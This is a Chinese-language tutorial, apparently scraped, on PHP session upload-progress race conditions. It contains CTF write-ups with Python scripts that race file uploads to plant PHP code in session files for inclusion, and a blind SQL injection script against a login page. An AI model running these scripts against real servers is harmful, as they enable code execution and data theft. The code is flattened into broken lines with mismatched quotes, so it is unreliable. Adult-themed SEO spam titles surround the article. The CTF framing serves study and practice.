日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP Session條件競爭超詳細講解

瀏覽:18日期:2022-06-06 11:46:52

PHP SESSION 的存儲

Session會話存儲方式

PHP將session以文件的形式存儲服務器的文件中,session.save_path來控制

默認路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默認是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段

但是在賽題中大多數都是/tmp目錄下,需要php.ini力sesion.auto_start設置為1,然后修改目錄

session.auto_start:如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執行session_start()。但默認情況下,也是通常情況下,這個選項都是默認關閉的。

session.upload_progress.cleanup = on:表示當文件上傳結束后,php將會立即清空對應session文件中的內容。該選項默認開啟

session.use_strict_mode:默認情況下,該選項的值是0,此時用戶可以自己定義Session ID。

使用 Python 實現創建 Session 文件的過程:

import ioimport requestsimport threadingsessid = "whoami"def POST(session):    f = io.BytesIO(b"a" * 1024 * 50)    session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用來sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:POST(session)print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) {  require_once $_GET["file"];}

這道題是文件包含,已經包含過了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過

/proc/self指向當前進程的/proc/pid/

/proc/self/root/是指向/的符號鏈接

這道題也可以 用條件競爭進行,

import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True:  f = io.BytesIO(b"a" * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值  files={  "file":("a.txt", f)},  cookies={   "PHPSESSID":sessid}//改名    )def READ(session): while True:   response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路徑# print(response.text)   if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5      print("[+++]retry")   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環 多層線程  t1.daemon = True  //相當完成任務直接結束,不用等線程全部結束  t1.start()  READ(session)

線程結束后,想在網頁獲得php壞境頁面可是找不到,

希望有師傅解答一下,然后這樣就非常局限,

[PwnThyBytes 2019]Baby_SQL

訪問源碼,獲得source.zip

打開后發現index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>

都要經過最后的過濾,然后通過傳參p進行包含templates目錄下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){    $_SESSION["username"] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>

發現就login.php里面沒有過濾,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出,前面的為true才執行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執行$con->close(),然后這個執行返回true的話就會執行die(“Not allowed!”);

所以如果我們要直接訪問login.php進行sql注入的話,還需要帶上一個session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標服務器上初始化一個session,然后便可以繞過index.php中的檢測,直接訪問login.php進行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"http://這個templates是因為login.php在這個目錄下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},  proxies={"http": "http://127.0.0.1:8080"})通過這個接口,burp就可以抓包到print(a.text)

然后對username進行注入,發現是用"進行閉合,然后回顯,可以用盲注實現

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = {    "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:    low = mid +1else:    high = midmid = (low + high) // 2    if(mid==32 ):break    flag +=chr(mid)    print(flag)print(flag)

到此這篇關于PHP Session條件競爭超詳細講解的文章就介紹到這了,更多相關PHP Session內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久久久久久久丰满| 91免费精品| 精精国产xxxx视频在线播放| 精品国产欧美日韩| 国产999精品在线观看| 久久亚洲精品伦理| 91成人在线精品视频| 久久国产电影| 成人在线视频中文字幕| 国内一区二区三区| 国产精品99视频| 人人草在线视频| 日本少妇一区| 日韩一区二区免费看| 久久亚洲一区| 日韩国产欧美三级| 麻豆国产精品| 精品九九久久| 久久蜜桃精品| 国产手机视频一区二区| 在线精品观看| 欧美精品观看| 久久伊人亚洲| 99精品国产一区二区三区| 99国内精品| 日本一区二区三区视频在线看| 国产精品日韩精品在线播放| 国产精品毛片久久| 久久高清免费| 日韩中文字幕视频网| 精品一区二区三区在线观看视频| 群体交乱之放荡娇妻一区二区| 理论片午夜视频在线观看| 激情欧美一区| 日韩**一区毛片| 精品国产日韩欧美精品国产欧美日韩一区二区三区 | 日韩在线观看中文字幕| 91欧美日韩在线| 97精品在线| 99在线观看免费视频精品观看| 日韩欧美2区| 欧美国产一级| 国产美女一区| 国产视频一区二区在线播放| 亚洲黄色免费av| 免费在线视频一区| 精品视频一二| 亚洲欧美日韩国产| 国产精品一区二区精品| 国产一区二区三区黄网站| 日韩欧美一区二区三区在线观看| 日韩精品欧美激情一区二区| 国产亚洲一区在线| 91精品日本| 国产一区二区三区国产精品| 国产专区一区| 国产欧美日韩影院| 久久亚洲精品中文字幕蜜潮电影| 亚洲香蕉久久| 在线亚洲人成| 日欧美一区二区| 色婷婷精品视频| 欧美精品国产白浆久久久久| 欧美1区2区3区| 久久av免费看| 巨乳诱惑日韩免费av| 国产日韩欧美| 欧美特黄一区| 成人在线视频中文字幕| 综合一区av| 久久国产日本精品| 国产精品亚洲综合久久| 在线亚洲免费| 水蜜桃久久夜色精品一区| 亚洲精品三级| 欧美+亚洲+精品+三区| 久久精品国产999大香线蕉 | 夜夜精品视频| 水蜜桃久久夜色精品一区| 蜜臀久久久久久久| 国产精品久久久久久久久久齐齐| 午夜一级久久| 三级在线看中文字幕完整版| 国产探花在线精品| 蜜桃视频一区二区| 伊人精品一区| 国产精品精品国产一区二区| 日本不卡高清| 国产亚洲亚洲| 欧美日韩精品免费观看视完整| 国产欧美一区| 亚洲精品美女91| 影音先锋久久| 三级精品视频| av在线资源| 久久国内精品视频| 免费的成人av| 亚洲尤物在线| 亚洲午夜一级| 日韩在线精品| 久久久久久一区二区| 国产精品欧美三级在线观看| 日韩精品视频在线看| 国产精品视区| 黄色成人精品网站| 电影亚洲精品噜噜在线观看| 国产一区二区三区黄网站 | 成人在线免费观看91| 久久99久久久精品欧美| 日韩av中文在线观看| 蜜臀久久99精品久久久久久9| 中文欧美日韩| 中文亚洲欧美| 激情91久久| 九一国产精品| 国产韩日影视精品| 欧美日韩中文字幕一区二区三区| 香蕉视频亚洲一级| 日韩精品欧美| 亚洲手机在线| 国产一区二区中文| 1024精品一区二区三区| 三级在线看中文字幕完整版| 国产v日韩v欧美v| av高清不卡| 久久精品99久久无色码中文字幕| 91精品韩国| 欧美不卡在线| 午夜在线观看免费一区| 亚洲视频二区| 欧美一区精品| 欧美精品二区| 国产不卡人人| 久久精品国产www456c0m| 久久一区二区三区喷水| 亚洲国产专区| 久久午夜影视| 蜜桃一区二区三区在线| 日韩中文字幕无砖| 国产私拍福利精品视频二区| 国产精品欧美一区二区三区不卡 | 神马久久午夜| 久久国产精品成人免费观看的软件| 欧美~级网站不卡| 亚洲一区国产| 日韩精品久久久久久久软件91| 欧美日韩夜夜| 国产伊人久久| 在线视频观看日韩| 欧美专区18| 亚洲香蕉视频| 国产精品a久久久久| 日韩国产激情| 午夜在线一区| 国产欧美日韩一级| 国产 日韩 欧美 综合 一区| 亚洲不卡av不卡一区二区| 红桃视频国产精品| 日韩 欧美一区二区三区| 国产精品白丝一区二区三区| 日韩精品永久网址| 夜夜嗨av一区二区三区网站四季av| 美女久久网站| 欧美日韩亚洲一区三区| 97欧美在线视频| 久久精品亚洲人成影院| 国产亚洲毛片在线| 日本亚洲欧美天堂免费| 精品欧美日韩精品| 日韩另类视频| 亚洲深深色噜噜狠狠爱网站| 国产精品调教视频| 丝袜诱惑一区二区| 免费在线看一区| 美女国产一区二区三区| 欧美高清一区| 国产欧美亚洲精品a| 久久精品免费一区二区三区 | 丝瓜av网站精品一区二区| 日本免费在线视频不卡一不卡二| 国产一区2区| 视频一区二区国产| 久久香蕉网站| 免费人成精品欧美精品| 六月丁香综合在线视频| 午夜日韩av| 奇米狠狠一区二区三区| 日本免费久久| 日本不卡高清视频| 日本在线精品| 日韩一区二区三区四区五区| 久久uomeier| 免播放器亚洲一区| 色在线视频观看| 欧美另类中文字幕 | 蜜臀91精品一区二区三区| 国产精品原创| 日本在线视频一区二区| 久久婷婷一区| 欧美激情视频一区二区三区免费|